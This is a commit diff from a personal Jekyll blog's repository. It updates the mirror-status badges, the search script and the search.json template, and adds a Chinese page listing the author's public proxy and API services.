- <https://mayx.dappling.network/> <img src="https://mayx.dappling.network/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://mayx.dappling.network/> <img src="https://mayx.dappling.network/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
- <https://xu4qy-yiaaa-aaaag-aa2iq-cai.raw.ic0.app/> <img src="https://xu4qy-yiaaa-aaaag-aa2iq-cai.raw.ic0.app/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
|
||||||
|
|
||||||
# 其他平台博客(备用)
|
# 其他平台博客(备用)
|
||||||
- <https://unmayx.blogspot.com/>
|
- <https://unmayx.blogspot.com/>
|
||||||
|
|||||||
+1
-1
@@ -27,7 +27,7 @@ var status = false;
|
|||||||
if(mykeyword != null && mykeyword.toString().length>1){
|
if(mykeyword != null && mykeyword.toString().length>1){
|
||||||
sbox.value = mykeyword;
|
sbox.value = mykeyword;
|
||||||
}
|
}
|
||||||
$.getJSON("search.json", function(json){
|
getSearchJSON(function(json){
|
||||||
var sjs = SimpleJekyllSearch({
|
var sjs = SimpleJekyllSearch({
|
||||||
searchInput: sbox,
|
searchInput: sbox,
|
||||||
resultsContainer: document.getElementById('results-container'),
|
resultsContainer: document.getElementById('results-container'),
|
||||||
|
|||||||
+1
-12
@@ -1,14 +1,3 @@
|
|||||||
---
|
---
|
||||||
---
|
---
|
||||||
[
|
[{% for post in site.posts %}{% unless post.layout == "encrypt" %}{ "title": "{{ post.title | escape }}", "category": "{{ post.category }}", "tags": "{{ post.tags | join: ', ' }}", "url": "{{ site.baseurl }}{{ post.url }}", "date": "{{ post.date | date: "%Y/%m/%d" }}", "content": {{ post.content | strip_html | strip_newlines | jsonify }} }{% unless forloop.last %},{% endunless %}{% endunless %}{% endfor %}]
|
||||||
{% for post in site.posts %}{% unless post.layout == "encrypt" %}
|
|
||||||
{
|
|
||||||
"title" : "{{ post.title | escape }}",
|
|
||||||
"category" : "{{ post.category }}",
|
|
||||||
"tags" : "{{ post.tags | join: ', ' }}",
|
|
||||||
"url" : "{{ site.baseurl }}{{ post.url }}",
|
|
||||||
"date" : "{{ post.date | date: "%Y/%m/%d" }}",
|
|
||||||
"content": {{ post.content | strip_html | strip_newlines | jsonify }}
|
|
||||||
}{% unless forloop.last %},{% endunless %}{% endunless %}
|
|
||||||
{% endfor %}
|
|
||||||
]
|
|
||||||
|
|||||||
+19
@@ -0,0 +1,19 @@
|
|||||||
|
---
|
||||||
|
layout: default
|
||||||
|
title: Mayx的公开服务
|
||||||
|
---
|
||||||
|
|
||||||
|
以下是通过[Cloudflare](http://www.cloudflare.com/)、[GitHub](https://github.com/)等平台搭建的公开服务:
|
||||||
|
# 服务列表
|
||||||
|
|
||||||
|
| Name | Links | Info |
|
||||||
|
| - | - | - |
|
||||||
|
| 博客用AI摘要等接口 | <https://summary.mayx.eu.org> | 参考:[使用Cloudflare Workers制作博客AI摘要](/2024/07/03/ai-summary.html) |
|
||||||
|
| 无限制一言接口 | <https://hitokoto.mayx.eu.org> | 参考:[cf-hitokoto](https://github.com/Mabbs/cf-hitokoto) |
|
||||||
|
| Mayx DoH | <https://dns.mayx.eu.org> | 上游是 <https://dns.google> |
|
||||||
|
| Docker镜像源 | <https://docker.mayx.eu.org> | *待补充* |
|
||||||
|
| GitHub镜像源 | <https://github.mayx.eu.org> | 参考[gh-proxy](https://github.com/hunshcn/gh-proxy) |
|
||||||
|
| Pixiv图片代理 | <https://pixiv.mayx.eu.org> | 参考[Pixiv圖片代理](https://pixiv.cat/reverseproxy.html) |
|
||||||
|
| jsproxy | <https://jsproxy.mayx.eu.org> | 参考[jsproxy](https://github.com/EtherDream/jsproxy) |
|
||||||
|
| CORS代理 | <https://cors-anywhere.mayx.eu.org> | 参考[cloudflare-cors-anywhere](https://github.com/Zibri/cloudflare-cors-anywhere) |
|
||||||
|
| Pixiv图片索引API | <a href="{% unless site.github %}https://mabbs.github.io{% endunless %}/pixiv-index/">https://mabbs.github.io/pixiv-index/</a> | 参考[pixiv-index](https://github.com/Mabbs/pixiv-index) |
|
||||||
Reference in New Issue
Block a user